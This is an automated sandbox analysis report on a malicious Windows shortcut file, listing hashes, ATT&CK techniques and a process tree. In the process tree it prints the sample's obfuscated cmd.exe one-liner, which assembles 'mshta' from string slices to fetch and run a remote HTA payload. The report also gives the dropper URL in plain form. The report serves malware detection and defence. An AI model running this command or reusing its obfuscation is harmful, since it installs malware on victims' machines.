1e406fcdf26fc1ad4aab3ec193278501372bfc82aaa759a5ace79851db34437c

Analysis

max time kernel
148s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:23

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General

Target
DOC-7X37N2.lnk
Size 2KB
Sample260804-kaej4sar6v
SHA256 1e406fcdf26fc1ad4aab3ec193278501372bfc82aaa759a5ace79851db34437c
MD5 e3ac9b7381eb8961052ffa3e5d8a8d00
SHA1 7e21253e88cabfcdb4f1f2d5e39ea9f6f171fe77
SHA512 e18830c6bf059614957c84e130f8c27362e79eb2797a66a712dedf0c33c2fe8b04cd9a01a8e191935d11e6cafc91d8880f14ca18fe03e1e741b8a3bce283273f
TLSH
T1375126803AF90199F2BF9E32EDFE6790457BBC212D71C59E0890810D0922B41EA37B73
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3856	cmd.exe
4620	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3856 wrote to memory of 4620	3856	cmd.exe	90
PID 4620 wrote to memory of 5228	4620	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-7X37N2.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3856
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set Yy=netfdejtnnet&set YO=dbgzqtrekzeucdbg&set qBW=tmpntgijtmp&set kHFG=3msiu&&set pkk=ph8t0&&set FEOOr=stay&set CMZa=sysgqdhbrmelqveatsys&set Dgyj=bst&&set rgTlo=z3tf2&&set TW=e4art92&set REArh=oldcuahguuotdtnfpbvold&set yV=infvhoicinf&set pLm=loguapuryminzwzexwmrpsedlog&set LFwp=cachekzckbhgcache&set jBE=logoshhspwweiiulog&set MpHZ=infbecxhjlltinf&set ZtlUR=bakwsobabak&set BrwXR=logsmignspjxsoqjdtlog&&set nks=https://ma-pd@ff@ill@[email protected]@t@/h@/es@[email protected]?r=3@9@14@69@F@B@5D82@DB&&start /b !kHFG:~1,2!!pkk:~1,1!!FEOOr:~1,2! !nks:@=!&&set UNE=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4620
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:5228

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads